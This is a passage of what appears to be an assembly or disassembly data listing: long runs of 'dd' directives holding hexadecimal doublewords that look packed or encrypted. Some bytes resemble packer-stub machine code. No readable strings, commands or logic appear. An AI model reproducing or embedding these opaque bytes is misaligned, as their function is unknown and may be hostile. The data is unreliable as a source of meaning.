8D36CC9Fh, 4733C85Bh dd 439CA6DCh, 0C459EC1Ch, 0A5406D16h dd 7A7B65FEh, 8506AD48h, 0DC8h, 9C820AFBh, 0E4F71069h dd 7B35135Fh, 0B5A339DAh, 4797B31Fh, 9304F2BAh, 0DE439712h dd 2BD46A0Bh, 19C75CFBh, 0FEA54070h, 4A7A7B65h, 0CD7604ABh dd 0CA630A9Dh, 4F35BDE0h, 4FE58621h, 8AE0EE61h, 9C320541h dd 537C0F3h, 9132CB72h, 0C6F69FA7h, 0C0F0992Fh, 8D343B25h dd 7A23CA5Dh, 0E164FAF2h, 0A1A82F1Eh, 0B6E27107h, 0EDD77017h dd 6AB235E5h, 43D2CE53h, 600E543Eh, 2B3B8938h, 3B7F8258h dd 5483EE4Eh, 0D3FD3h, 20B5E600h, 1DB8E48Bh, 18B3E188h dd 14ADDC83h, 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h, 0F79E33D2h dd 0F69D32C5h, 0CD9A2FC6h, 1B00715Fh, 344B4397h, 0F27AE762h dd 149C49A3h, 6D98861Ch, 264797C1h, 0C77F69A3h, 0AB970097h dd 0DFCD63F7h, 4397656Eh, 2FCE6B9h, 0C0F0992Fh, 0B9E99025h dd 46CE771Eh, 0F835B84Eh, 6D08344Fh, 36C42DC6h, 0A3CF5ED4h dd 24121A04h, 4196C576h, 0EB9BA641h, 29BFF0ABh, 90C1CA3Bh dd 0A142153Dh, 0B19D2A00h, 0F625F07Dh, 0CAB75h, 84215200h dd 811C48EFh, 7C1745ECh, 781140E7h, 78093CE3h, 753048E3h dd 731AAF42h, 6B12A746h, 62099E39h, 31FE9332h, 1B64D5C3h dd 98AF4397h, 69FC2CC6h, 6C0B3BC2h, 74113EC5h, 821346CDh dd 192770DBh, 4FD9321Dh, 0AEBC4C89h, 0F2F77A19h, 554154BAh dd 0A49B8F79h, 0FF000006h, 0F48A820Ah, 21F43971h, 29131B0Bh dd 7D0B3321h, 1C24797h, 32933AD5h, 0C98EB82Ah, 45D47503h dd 3BD47B16h, 2B5B049Ah, 35D66F9Eh, 2EC9F9A0h, 754EBB87h dd 0E8704396h, 27AA5AF0h, 39D06A9h, 0AEA20B35h, 4EA79ACFh dd 89377D67h, 4641954Ch, 2ED5709Dh, 0DEB1AB95h, 7A268D08h dd 5DDE0DF0h, 0BECh, 2EC36293h, 27BC5B87h, 22B75280h, 1CB14C7Bh dd 1AAF4275h, 79AC677Fh, 7FAC53E8h, 78AA51E6h, 71A148DDh dd 67441D6h, 971AA718h, 9DBF243h, 0D369FC2Ch, 0E7B57F50h dd 96802B16h, 0F26CEF7Dh, 46B7A5C3h, 9149A335h, 2A2355BEh dd 36CFFC8Bh, 0B0CF68Fh, 0B2953CDBh, 0CC09CF59h, 0E19AF16h dd 5DBh, 0ADDD8636h, 6DA731Ah, 49A39F95h, 57230DE0h, 0A3F27AE7h dd 1C149C49h, 0C0B09886h, 14E74797h, 0F525CE7Eh, 3822BB62h dd 0DB700737h, 55830434h, 0DA8319BAh, 0C250FAEh, 0C9F5DB63h dd 4DEE872Eh, 201BC9B7h, 2FD84196h, 25BE6500h, 986E413Bh dd 0F07D5377h, 2D1394C3h, 0D400000Bh, 0D67D12A3h, 0CF760BAAh dd 0CA7106A1h, 0C66D029Bh, 0D26D0293h, 39CCFFBAh, 35D0FDA4h dd 2CC7F9A0h, 25C0F097h, 6755C390h, 439718F6h, 2C582A41h dd 3BC269FCh, 3EC56C0Bh, 0C15C8B0Ch, 0C3F27920h, 19D2832Ah dd 0CB240F0Fh, 0BC5A7B7Dh, 0C36C19AEh, 3C68F796h, 24C3B7A1h dd 27000005h, 0F48A820Ah, 643D0271h, 0A18B3F03h, 0C9AAB99h dd 2ED74797h, 817B6500h, 3F6F18AEh, 3C6C13A8h, 6C55C6B4h dd 0CDA04396h, 4CB9852Ch, 6E43966Ch, 0A858EEE6h, 4F39CCFFh dd 956C5B09h, 7A8B2641h, 0D870CFAh, 0C9380EAFh, 31F07AF7h dd 0A7E8102h, 0F4250000h, 0F925CC61h, 0F422C95Eh, 0EE1DC459h dd 0E417BE53h, 921BC51h, 0F58A1B4Eh, 0EF84214Eh, 0E67B1648h dd 0E3780F3Fh, 49BAA816h, 94439718h, 0FC2CAB7Dh, 8B34C269h dd 0D5D6C05Fh, 5BF624A5h, 0D37A1BB4h, 0E2891C4Ch, 0E58C2B5Bh dd 0F78ABD4Ch, 58E69F50h, 8324C1EEh, 0EFF13F98h, 19AEBBE6h dd 46EF4h, 75E75800h, 9749A3F2h, 9381170Fh, 4797C0A5h dd 0DE871DF0h, 0D36C13B2h, 838E1E9h, 0EC54D76Dh, 7D525CEBh dd 8027BAECh, 555C46E7h, 0E9C424A7h, 731D9B84h, 0BD588889h dd 0BA4B7E27h, 0BBEB7A13h, 7019321Ch, 6C5AF0E8h, 4196A11Ah dd 66F624E5h, 90700778h, 0DE7F523Dh, 27FD9E37h, 0F07D02F0h dd 0B59A1B4Ah, 5C000009h, 5E059A2Bh, 57FE9332h, 52F98E29h dd 4EF58A23h, 5AF58A1Bh, 0C1548742h, 0BD58852Ch, 0B44F8128h dd 0AD48781Fh, 0EFDD4B18h, 4397187Eh, 2CE0B2C9h, 2AD369FCh dd 1DB65DF8h, 0E38C1A33h, 95B11AB5h, 0F1AFF51Bh, 4C7C7D67h dd 0A86112B9h, 0E580B09Eh, 3845150h, 4D5619AFh, 0BA000001h dd 73A1FC2Ch, 0FE8ED3CEh, 31B85F00h, 20D06601h, 0AB14477h dd 7C2C9D71h, 0A47749A3h, 62EAB3BAh, 7B24D46Ah, 6C05AC4Bh dd 92923C82h, 7A4D47A2h, 629A07D3h, 37C7439Ch, 1EC5608Eh dd 0F6409B85h, 0B64BE5F0h, 4CF71Fh, 761F0000h, 6D06AD48h dd 820AB783h, 31D8699Ch, 7361F798h, 47A300F1h, 0D6A2491Ch dd 439CE069h, 40E77AADh, 49F08BB9h, 8B8B95DEh, 0D1D255E5h dd 84234FC2h, 4EDBCB1Bh, 9CCCEF60h, 0C6673A43h, 31B781DCh dd 1FB5E4A4h, 9436h, 0FC2C9A00h, 83BC269h, 0F3FC66Dh, 1A4AD178h dd 8F6027B3h, 19BA3B8Ch, 74E5D383h, 0BF49A3F0h, 0FFB02ECh dd 49A3D5A9h, 0FC2CADDDh, 8829C269h, 821D49F2h, 40C89198h dd 3AC4B248h, 75479C2Ah, 30630CA2h, 26590095h, 5848B58Bh dd 4B7AFA67h, 86FCAh, 50E51600h, 4DE814BBh, 48E311B8h dd 44DD0CB3h, 3CD508AFh, 39F40CA7h, 2FD66B06h, 27CE6302h dd 26CD62F5h, 0FDCA5FF6h, 1630A18Fh, 647B4397h, 68F92C92h dd 69FC2CD3h, 60FD2AD3h, 2F3620B9h, 7BFC2CBDh, 6E07AE49h dd 998737CDh, 49A3F228h, 1FA73A6Ch, 0F38EBD4Ch, 3969F009h dd 6068099Eh, 0DE000002h, 0B74A7C25h, 6A8D7710h, 0AB54EAE2h dd 0EEF6E07Fh, 0A3056A00h, 4F3D0547h, 439CD4DEh, 0EB55629h dd 9CD4D542h, 0C9720243h, 0C25B029Dh, 0D4CD3E2Ch, 4518439Ch dd 136005Bh, 6EA12A58h, 0F2932CD3h, 6FC8B24Bh, 1FB5DE66h dd 1EC74h, 77E7D800h, 9549A3F2h, 60F7270Dh, 4B3B29BFh dd 844797C1h, 2175E6D4h, 0EDC04397h, 0A0360903h, 9B30C7F7h dd 9B31C4F4h, 218CFDEBh, 4D74397h, 9B04375h, 0DF6D8670h dd 856F0636h, 4CE2DA62h, 96370C5Eh, 0F420C941h, 0A2756F59h dd 7D6C7BCCh, 0E76897F0h, 768h, 0B247DE0Fh, 0AB40DF0Bh dd 0A63BD604h, 0A035D0FFh, 962BC6F9h, 0F528E3FBh, 0F320C75Ch dd 0EC1EC55Ah, 0ED1DC459h, 8AF8C55Ah, 97152B9Ch, 8D5F7643h dd 4B7BFC2Ch, 0DD640BACh, 0C2731AADh, 0E1113F09h, 0EA8B2658h dd 0C07F5655h, 465D19AEh, 0C1000001h, 6EA1FC2Ch, 0BE92D8E5h dd 22CB6102h, 22F15AF3h, 9365843Dh, 23AAC3ADh, 4FD28CF3h dd 5BC45D8Ch, 30D1A45Dh, 5D4AD29Bh, 0A3D4FE6Fh, 0D5764949h dd 0EBA7513Fh, 0A16247A2h, 503ED46Fh, 439CBBDFh, 0FB6572Ah dd 9CBBD643h, 16200343h, 0B5F305D0h, 20D71Fh, 0A3B0000h dd 6F48A82h, 47A30184h, 6935DCAFh, 439CE0FCh, 0F6F84629h dd 1FB5D0DFh, 0B9FDh, 0FC2C6100h, 75E5487Bh, 2974D5F3h dd 0BD56FD9Eh, 97C83927h, 401349A3h, 3E71F89Fh, 4575FCA3h dd 54840BB2h, 0A03FA6D3h, 0CBCC267Ch, 6D02A344h, 0A3FB2B81h dd 0F5B53849h, 0F9CA55B6h, 29595A44h, 0A830F98Eh, 0A22C1AB0h dd 0CF479BECh, 0C65CF926h, 99DC67D8h, 0F5DFB243h, 0E29228FBh dd 0F39A535Fh, 97C90B87h, 1BBC55FCh, 64FD3031h, 5CF528CFh dd 64F13386h, 1798C7FAh, 628h, 72079ECFh, 6B009FCBh, 66FB96C4h dd 60F590BFh, 56EB86B9h, 0B5E8A3BBh, 0B3E0871Ch, 0ACDE851Ah dd 0ADDD8419h, 4AB8851Ah, 9713EB5Ch, 4D1F3643h, 0D368F92Ch dd 0B74A7C25h, 99CCCCDh, 0FC2C0274h, 0B3BC269h, 0A629D76Ch dd 2CF0BC60h, 6F6A5463h, 27h dd 69FC2CE5h, 6C0B3BC2h, 0A06E01C5h, 61E74676h, 0F493BF21h dd 664BB44Dh, 0F08DBA08h, 6E0FB049h, 2938D9h, 2CAE0000h dd 0F6C269FCh, 49A3F288h, 0AA9FA9E2h, 0C53D8127h, 8C76631Ch dd 26BC5B8Bh, 0CAB44F7Dh, 39215C3h, 0C10E637Dh, 2CCA9680h dd 19C269FCh, 15039991h, 4797C17Fh, 1B1471Ah, 1FF26351h dd 7C3D4397h, 2812B34Eh, 0CB60F727h, 0AD48741Dh, 0F392C2C3h dd 231BA34Ch, 0EF2C9F8Dh, 8535418Ah, 8A4F2697h, 84B0713Dh dd 8A942E9h, 0BB51241Eh, 0B1D85B0Bh, 349719A9h, 4A52C397h dd 0CA9D3D8Ah, 0C56C0B3Bh, 1141422Ch, 0A3AE176h, 0DB44F7Dh dd 832CD374h, 0C46D03FBh, 0A12FC95h, 89496E1Ch, 9066393Bh dd 0EE4E28C3h, 10788B7h, 0A8000005h, 0A249DE77h, 9B42D776h dd 963DD26Dh, 9239CE67h, 9631C65Fh, 0F590C37Eh, 0F18CB960h dd 0F083B55Ch, 0F184B45Bh, 33218F5Ch, 439713C2h, 2524F60Dh dd 1EB63AA2h, 0F988ACA0h, 474832CDh, 44EB8017h, 53DA8114h dd 2CDD8423h, 4B7BA573h, 0BD1817ACh, 0B19AF97h, 0EF962F62h dd 52786C56h, 0DC000000h, 0F48A820Ah, 34495271h, 0CFB9AC81h dd 9605D9C7h, 491C47A2h, 655303B3h, 439C04F4h, 81826C3Fh dd 711FB44Fh, 18029BC8h, 9C0567D2h, 0F277A743h, 0E88128C5h dd 0D90BB247h, 75F8A83Eh, 0ED2E1C3Ch, 0D4451923h, 1F439CE0h dd 0C849624Ch, 450h, 69FC2C3Eh, 6C0B3BC2h, 8E860ED7h, 8600AF8h dd 481B47A3h, 0D768D5A1h, 0B295439Ch, 0D7736264h, 36691FB5h dd 0CD000000h, 0B5507C25h, 2820A8CBh, 122A492h, 7A4D47A3h dd 0E19A07D3h, 0B1DE439Ch, 0B7E66D14h, 0C30C771Eh, 3013B975h dd 0D0F5E0E6h, 2AD31FB5h, 80745EF7h, 0F1h, 497C25E4h, 0F264D5C3h dd 0DCAF49A3h, 11FB943Bh, 9E45E010h, 0BB51E417h, 2CB2BC38h dd 8C9DCA3Dh, 0F92D968Bh, 1E372129h, 737E0D90h, 0F3B95E0h dd 0BBA546E1h, 44EB8ABAh, 65FA8DBDh, 0A3C9C379h, 90275749h dd 2C8677FAh, 0E235B2E8h, 0E38A2553h, 0B259604Ah, 444D1B82h dd 0BDBA95F9h, 44CC751Ch, 0EE95305Eh, 0FF96C655h, 881EBF58h dd 0A29EAC9Ah, 862FF747h, 7D16BD58h, 9C8E38A9h, 27E88343h dd 20379F5Dh, 89D3EDFh, 29BFB73Fh, 94BFAB3Bh, 6D57F241h dd 0EDD8E159h, 8F060782h, 39DAF26Ch, 26590298h, 1C4FF68Bh dd 12B2B389h, 6190F07Fh, 33FE0h, 20B5E600h, 1DB8E48Bh dd 18B3E188h, 14ADDC83h, 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h dd 0F79E33D2h, 0F69D32C5h, 0CD9A2FC6h, 1100715Fh, 344B4397h dd 7AF92C62h, 770CAD48h, 7005A0D0h, 8A820AFEh, 18406F4h dd 0DCAF47A3h, 6FAEC346h, 6053B018h, 26CF5D76h, 0A54070F7h dd 0DAC465FEh, 9C252794h, 0A7715443h, 0B68CB421h, 0FE261Fh dd 0CB4E0000h, 0CD7DF709h, 0DFAB9569h, 0C269FC2Ch, 0C66D083Bh dd 0A3EF44FAh, 18A8D849h, 0A3EEB92Ah, 0A2310449h, 0A339DA73h dd 0A130CDFAh, 9831D873h, 0D000A7AEh, 0C31C9F35h, 0B24583A8h dd 0E7C53624h, 3D1049A3h, 0B99B29Ch, 15CB3262h, 0BA8B169h dd 0F99239DAh, 7764EC0Fh, 0A37D1889h, 95305C49h, 0FACD55EEh dd 6A13C359h, 59CA9E37h, 0A449A37Dh, 0F1DFE7D1h, 47A25E03h dd 2798864Eh, 6B439C4Eh, 61FAA13Ch, 487706D9h, 0AE770CADh dd 0AA982E26h, 4194B405h, 0AE57EDC0h, 0AE55EA7Bh, 5B14EA7Bh dd 27F07FCEh, 22A77F8h, 0A0D10000h, 9DC97005h, 98C66D02h dd 92C168FDh, 88BB62F7h, 0A5BD58EDh, 891EB7EAh, 8318B5E2h dd 8217AADCh, 770CABDBh, 0DD4E3CAAh, 28439710h, 0F92C3F11h dd 0FC2CD368h, 0F82AD369h, 0CA4EA895h, 1EBF438Fh, 0EDF4DE77h dd 0E70BC3Fh, 9863DEF0h, 9C2BCC65h, 1EEAD46Dh, 16877525h dd 6149A3F2h, 73A3A48Eh, 76A62DD4h, 74A049DFh, 0B2D132D9h dd 60621460h, 484F39DAh, 2FD671A1h, 7006FE86h, 0A1F22482h dd 5B8E4F47h, 0A79523CAh, 439BF236h, 6C0DAE81h, 887626D6h dd 439BF217h, 4ABB8F62h, 87439BF2h, 9BF22899h, 18A07343h dd 0BB425B45h, 0C047EE89h, 0C250F792h, 9BF263D4h, 22DBAE43h dd 0EC5FDF69h, 7BAB95A3h, 575CC1EEh, 0D73EF711h, 21B657F8h dd 42D8D058h, 9A8BAE54h, 5FCE6941h, 0A48FF79h, 47CE7516h dd 15D98017h, 0E068B482h, 8D2EC7FAh, 83224EF7h, 0FDA39199h dd 0AA3B9365h, 66D5E027h, 0CE37F2DFh, 6853A4F3h, 0F2ECD60Eh dd 0D1670231h, 8D7B72E3h, 49EABD37h, 0A41503B3h, 0EF378D7Bh dd 842B321Ch, 931AC154h, 981FC661h, 0A32AD16Ch, 6B2FD671h dd 5BCE4ED8h, 6A130412h, 0B5B6A03Dh, 945DF285h, 907E140Ch dd 358C5532h, 40B19F4Fh, 8B318655h, 13D4CEB8h, 8DBB4AE5h dd 11B24BF2h, 14B3E36Ah, 890C026Dh, 93F59595h, 76D1BB93h dd 14D45CA8h, 0AB977DB7h, 2CC2637Ah, 84E2E03Eh, 0A3380B2Fh dd 871A4CF5h, 0FAF27A9Dh, 0B0A87664h, 0A0732972h, 0A34272F9h dd 9E37640Dh, 0D606ADB4h, 0C133CD77h, 22C3419Bh, 0E319AF7Bh dd 30705456h, 1AC15487h, 0F23C9781h, 65931444h, 720D3BCAh dd 0FC9132CBh, 0FC922555h, 41ED5E4Ch, 7038EDF4h, 0F4421182h dd 0E8895CEDh, 0E88F2A59h, 0C54C654Fh, 0CD54FB96h, 0DA61089Bh dd 0FE6910ADh, 38AB6BB5h, 0C7F721EFh, 0BFF19A30h, 85333A24h dd 3321AFDCh, 0EDF442C2h, 0F2993A0Dh, 3E6E6F59h, 157F00A7h dd 0F5000000h, 16877525h, 5349A3F2h, 0A3F1F465h, 0E46C3F49h dd 76582711h, 0C36AFB2Ch, 0D2790C3Ch, 0D77E194Bh, 0E38A2350h dd 0F198295Ch, 0F79E376Ah, 1A84170h, 0AB14C7Ah, 11B85783h dd 59545167h, 4C181h, 0E9830000h, 240C8704h, 0E389535Ch dd 4C381h, 0EB810000h, 4, 5C241C87h, 57243489h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 6850241Ch, 6B7B7E8Dh, 0F7954858h dd 0D0595D5h, 89718851h, 8B5458C6h, 0C481241Ch, 4, 4C9268h dd 24048900h, 4389F089h, 1C8B5808h, 0E6895624h, 4C681h dd 0C6830000h, 24348704h, 2434FF5Ch, 4C4835Eh, 0FA9856E9h dd 0D86204FFh, 9FE5CF89h, 0B8EF0432h, 60CE4AAh, 0E0FFC503h dd 5972E14Bh, 63142A10h, 0DFD543Dh, 3CD05989h, 7C3508EBh dd 0EDCh, 0BAE90240h, 6800000Ch, 60CE6D4h, 0FB5C3FE9h dd 0E7E568FFh, 35E9060Ch, 68FFFB5Ch, 60CE991h, 0FB5C2BE9h dd 0EA1F68FFh, 21E9060Ch, 68FFFB5Ch, 60CEB13h, 0FB5C17E9h dd 0ED1068FFh, 0DE9060Ch, 68FFFB5Ch, 60CEDC4h, 0FB5C03E9h dd 0EF3B68FFh, 0F9E9060Ch, 68FFFB5Bh, 60CF092h, 0FB5BEFE9h dd 0C4938CFFh, 61342BF2h, 0FFD0C88Fh, 9774662Dh, 3308FEC5h dd 0DA4E8F61h, 763D0FE4h, 0FD6A883h, 0A970421Bh, 0F20BDDB4h dd 0E77ECBB5h, 36778024h, 7A514638h, 8E655A2Fh, 0BD0AF4B1h dd 0B68631CCh, 0B188B2D5h, 44391004h, 7C4B226Dh, 2E375A31h dd 9D4A273Dh, 8DDAC4A7h, 868631CCh, 7EB3D6A5h, 38E81094h dd 5DA8898Ch, 2AB2FA4Bh, 1E66CF80h, 6A4A14EDh, 2A8CF1h dd 0F8A50000h, 0F2082B04h, 7E5BC962h, 0E205DCD1h, 0DDA7C3ADh dd 7D5E8C38h, 0BBCF2032h, 3BA4802Ah, 56E9C2EBh, 0D661F16Ah dd 99000000h, 867C5146h, 0C297E2B1h, 0D7ACF7CCh, 0D4B7DCE2h dd 5859C23Ah, 74693E89h, 43C7CB9Dh, 2B863166h, 936E6136h dd 362BF2C4h, 0D05B145Fh, 0B98D7754h, 0E08C387Dh, 0E9822DFFh dd 34E19E7Bh, 451C6740h, 60AB8478h, 73046689h, 0F486340Ah dd 0DD7662E4h, 6433229Dh dd 291DCA87h, 3EA25250h, 0F6AE4429h, 0E3B8AED3h, 81544A11h dd 31E8B78Ah, 9DFD5E91h, 83DE28B5h, 7200000Ah, 11D8AA79h dd 0AE75471Ah, 4C13E5B6h, 0E4AB7D5Ah, 754719EEh, 0F5CAC034h dd 8E695C23h, 2801F5BCh, 0C39A8F56h, 0B19BD8F1h, 8024E664h dd 46262465h, 0E2A97B50h, 1A2618EDh, 0E4C51966h, 0C1BF8E65h dd 955DAEDEh, 9F7C4B08h, 694035E2h, 31B9125Fh, 34321386h dd 3C4EBCD3h, 79A3C63Bh, 5BC962C1h, 8AD7C17Eh, 848631CCh dd 12F3B98Eh, 2C775245h, 13FD3255h, 8C38DDF7h, 7D62AD8Eh dd 84C7219Fh, 577A3EE4h, 2A56A4F5h, 0B0107980h, 69F1BE97h dd 0BF36F1h, 0A24F0000h, 9EB4D7ACh, 0BD948936h, 0D4BE9B72h dd 8631CC87h, 577C9F80h, 5B408B62h, 94DFBCAEh, 7F759ABDh dd 0C94D5FAAh, 0A98631D1h, 5300DDB4h, 683F8A5Bh, 5F541B45h dd 7A583D88h, 0A63979B2h, 8113443h, 3A240163h, 8C383266h dd 0D17C4E2Fh, 3EDCA5Ah, 8633D261h, 9D5A3718h, 0DB26F9F0h dd 0C6BCE104h, 9B481FF1h, 0AE85D0A5h, 9B70668Bh, 0FD06E8E4h dd 9BE5729Dh, 972h, 0C7996861h, 64360900h, 2D4A59Dh, 9A6C493Bh dd 3608DDD3h, 0B9AF2364h, 584B12E4h, 0F0E4AB7Dh, 897E4517h dd 8AC7E0B2h, 24E553A0h, 15135480h, 9E7B5046h, 0DC27FAF1h dd 0F1B8E205h, 7C5325FCh, 0E003DACFh, 7A5146CAh, 8E655A2Fh dd 7907E5BCh, 0F4D0FC9Fh, 0D9525B7Eh, 7193EE1Ch, 0CDBA12Dh dd 9901452Fh, 17F88C38h, 13AE5C3Ah, 8B85FD31h, 2E0C568h dd 51D0656Dh, 9FC4E708h, 3A01D3AAh, 0D4916E45h, 29F79DEAh dd 92B59680h, 1AADDDEFh, 0D0E0770h, 503AF7B5h, 4EFD703h dd 0DB002304h, 763D0FE6h, 7A5FAA81h, 0DBFEDBCDh, 0EFD72979h dd 552C2104h, 6B3E350Ah, 82534B20h, 254E6037h, 0E20B1DDDh dd 12E7DC82h, 28FD481Bh, 3C135E31h, 0F5CC9E6Dh, 44917B38h dd 4504EFD7h, 0D70D5A64h, 250604EFh, 0E2E8DD02h, 8EA4A249h dd 552E22A7h, 5A6CB786h, 4F09F06h, 0E694EC75h, 71481AF1h dd 8BE60493h, 4C3EA2B2h, 7E4D246Fh, 6C41365Bh, 88D3A275h dd 3F29E6A3h, 773A9F2h, 0BB0812F3h, 0BC0773A9h, 0BCAFB8DBh dd 610ECBA8h, 734A956Ch, 0BCD2EE50h, 0D4B30D7Ah, 5C3908DFh dd 0C0E3BAAFh, 0E640EB96h, 704D1CEFh, 391206B3h, 0B620B416h dd 18F9137Fh, 0C5988E3Bh, 2B29F8D1h, 68A53B2Ah, 34D7FAC8h dd 737FD222h, 0E63EA707h, 0B316ECC5h, 4996478h, 369C0000h dd 0CD428F79h, 62438631h, 0CC90DD3Fh, 0F4458631h, 0B18631DCh dd 8631C048h, 31B9B405h, 0C3A1CA86h, 0C944FCE6h, 34158C38h dd 0F614597Dh, 3E8815A3h, 7C6h, 1BEDBCB5h, 0B88A5D54h dd 5628F9F1h, 0EEC09D8Fh, 8A5C3127h, 0D0377B8h, 0AC9F6638h dd 4438FFD1h, 0DDD2996Bh, 0DE1B3406h, 24E3A7F4h, 615FA080h dd 2F7A5146h, 926FF576h, 3EB1AEA8h, 0F8CAAB8Ch, 1714F64Bh dd 0C246300Dh, 0B3862BF1h, 667488D2h, 0F835871Dh, 2A14F173h dd 0DCCE1CD6h, 0DA93DEBFh, 1E08C551h, 0DCC3FDD1h, 9AE7F1D2h dd 9BDCC3FDh, 240EEBBAh, 0E2CB3736h, 0C8755233h, 632AFCD3h dd 0E0976Eh, 824D59EEh, 738ABF5h, 2E270000h, 0CFC68D5Fh dd 6B632AFCh, 0F01C89Ah, 0A3996032h, 0E92AFCCEh, 0D8AA7F75h dd 71431E11h, 0BDDB6AAh, 0A6784F44h, 1966508Dh, 1A8024E3h dd 0C962DBD9h, 50947E5Bh, 498C38CDh, 7B381D68h, 0F701DACEh dd 802ACCAAh, 0CC5DAA94h, 7556802Ah, 4DBD0AFh, 0F013E2B9h dd 3CD0D6CBh, 0B0A49B4Dh, 0F4206B3Ah, 0D11E08C5h, 0D2802A8Fh dd 7FC7CEF1h, 0F9D64EDDh, 48957F3Ch, 41802A90h, 97DB3D60h dd 7E86318Fh, 76C7CB9Dh, 6086318Fh, 0A8944582h, 0BBDE4248h dd 310A0C59h, 0DD18F686h, 33BB3C63h, 0E13F6765h, 0A7BAFDC6h dd 74F07B84h, 1FF4EA97h, 0E3DDC7FCh, 9F8C3E7Fh, 694035E2h dd 0F03D471Eh, 0E98024F5h, 14DE95D9h, 0A776BDC8h, 94876684h dd 8D9FEAB9h, 80258643h, 0A47F721Fh, 85CD1F81h, 0D0C58025h dd 0E73203FBh, 608A4110h, 3697E2B0h, 6445FA9h, 3A330000h dd 0DBD2996Bh, 776F3608h, 1B0DD4A6h, 0AFA56C3Eh, 0F53608DAh dd 0E4B68B81h, 7D4F2A1Dh, 17E9C2B6h, 0B2845B50h, 25725C99h dd 1E8024E2h, 0C962DFDDh, 0F6437A2Ch, 313ABF0Ch, 0D9D7B886h dd 0F95806D1h, 0EAAC60B0h, 0BF9C6B3Ah, 3E7EDBD5h, 82CDAE8Ch dd 4E1B8ADh, 0F7105D47h, 28098024h, 3A30DB05h, 6664372Eh dd 77AD6C46h, 0EF3A0954h, 8340251Ah, 255C4C99h, 626C4D80h dd 80255C15h, 359FFE0Eh, 0B43BFE06h, 7D4416E5h, 17D4B188h dd 24F3E02Dh, 0D5F8D980h, 91685D32h, 0A3032C46h, 45400FEDh dd 2B2906F8h, 80A3B819h, 9F91665Bh, 0D1A077C2h, 52ECC5FFh dd 9A64F165h, 7D000001h, 0D05DCD0h, 344A6D3Ch, 0C0918936h dd 727B9E75h, 0A48E6BF9h, 8C38DF88h, 6C3A081h, 2AB9CF1Ch dd 0C4E7C880h, 0B9C00F21h, 4C75802Ah, 0CC7936F4h, 0A9F600D7h dd 0AA802AB9h, 8E9DA6C9h, 0B3CFB996h, 528631CCh, 0F5E79471h dd 1F8CD18h, 123C5F2Eh, 347F564Bh, 0A3956A5Fh, 2E03F9C6h dd 49E28D5Fh, 9014FEDBh, 0F28C38E7h, 0F7479814h, 81A44EF2h dd 25378263h, 802A0ED4h, 2AE040A9h, 8BAE8B7Dh, 69A61AF3h dd 5292F1h, 62CA0000h, 0C17E5BC9h, 0CCCD1A04h, 0E5C68631h dd 148BB1E7h, 86A96417h, 38750824h, 0D520018Ch, 0FC4933F0h dd 0FD802A54h, 4697F91Ch, 40802A55h, 5429744Bh, 0C7BD8A5Dh dd 0D8C2A7F2h, 802A548Bh, 42CBAB8Ch, 0DF483AE2h, 0EF8D6687h dd 0A005F169h, 3D000000h, 744B5146h, 0CB0FDB32h, 0CEA3EEBDh dd 0E3B803D8h, 0F7CC17EEh, 82592B02h, 0BC07E2D5h, 4918F5E7h dd 0AF40C426h, 3D328631h, 0BD9466h, 31A6C916h, 0C6E9CA86h dd 0D9B6AEBDh, 3B51CBEFh, 0CE9CA8Ch, 0C294695Fh, 0FCF90DEBh dd 8EC10B58h, 0FFFDD247h, 6A8D42D7h, 0C37A4F45h, 0A3F8C231h dd 47A2EC79h, 36000004h, 0D59C6E3Dh, 72390BDEh, 10D7A97Ah dd 0A86F411Eh, 390BDDB2h, 0B98E84F8h, 522D20E7h, 0ECC5B980h dd 875E531Ah, 755F9CB5h, 8024E028h, 46E2E021h, 0E2A97B50h dd 4E2118EDh, 46F5AD7Fh, 5A2F7A51h, 49968065h, 4A8631CDh dd 0F1C89A69h, 0CCFD4A34h, 0F8EF8631h, 5B7E5F25h, 4CB80945h dd 24758632h, 3A86314Dh, 6C563331h, 8C3E3272h, 8FD1F2D0h dd 0FDC4734Ch, 0E3CDBCDAh, 80256B96h, 0B7D27F8Fh, 0DAC32855h dd 0CF13C0Bh, 75840E2Eh, 8F8284D2h, 0C39269B4h, 9FB024C5h dd 95B8772Eh, 0A8859F8Ch, 2C9A52BEh, 7B321386h, 9DFA6D83h dd 9364AE3Bh, 82000003h, 21E8BA89h, 0BE85572Ah, 5C23F5C6h dd 0F4BB8D6Ah, 855729FEh, 5DAD044h, 9E796C33h, 381105CCh dd 0D3AA9F66h, 0C1ABE801h, 8024DF74h, 36363475h, 0CD428F79h dd 62438631h, 4E251A3Fh, 9C3D9371h, 3D45ABA0h, 0E592771Ah dd 0F8CF1AEFh, 0E4BBB0D5h, 52C46712h, 30E51B68h, 6C3B1C86h dd 0FF21A58Fh, 39188C37h, 0A79F6C45h, 0D7BC07D6h, 0DAE3301Ah dd 3E48029h, 0DB2D7EE0h, 99028029h, 72472049h, 51BFF169h dd 0F7000000h, 428F7936h, 438631CDh, 9E093F33h, 4615577Fh dd 0FF377848h, 94B75E2Dh, 0A784E08Bh, 15B300EAh, 0C5B48631h dd 31158EDBh, 0D7A68786h, 79957FB4h, 108C3827h, 81D2E42Fh dd 56802A26h, 9B7495EDh, 13F169C1h, 0FEh, 0B28B7F2Ch, 576D9067h dd 0C24B5146h, 64AE3D0Ch, 754A9564h, 7A5FAA7Fh, 3654BB9Ch dd 0E609A77Bh, 0AAF5CCC1h, 3709E0D5h, 319BAF33h, 0D3AA9F86h dd 70453A01h, 8CD7A679h, 0EFCC58D3h, 0B6938532h, 2499B8h dd 0DD002356h, 385AAB7Bh, 0EA9AAA8Ch, 9917712Ch, 48F5D2A1h dd 5A317C53h, 0C9620D37h, 6A947E5Bh, 1F8633E7h, 0B683613Eh dd 47F43956h, 0DDCB3A8h, 1AF8B5EAh, 1B2E52Bh, 0BE9B8D9Eh dd 0AACD9C73h, 0DDBA8F85h, 5DE93620h, 9EA8623h, 2772453Ch dd 3C032D50h, 4EBA7146h, 849DFD67h, 21CADF7h, 120B0000h dd 0B3AA7143h, 4F470EE0h, 0F3E5AC7Eh, 877D4416h, 0CD0EE0B2h dd 0BC8E6359h, 552702F5h, 0EFC19A8Eh, 8A5C3328h, 0FD4A3471h dd 0F68024DDh, 5046B7B5h, 0F4D2A97Bh, 0C95720F8h, 33587BF7h dd 0BE95673Eh, 0F9441D11h, 9FDD2A14h, 0F5D68631h, 0DD452826h dd 0F2A43CC4h, 0C962B9CFh, 0DDD17E5Bh, 0BFE2B904h, 2610CD8Ah dd 8631CCD9h, 74D6F9DAh, 8C38DE58h, 0F3055031h, 802ABBA2h 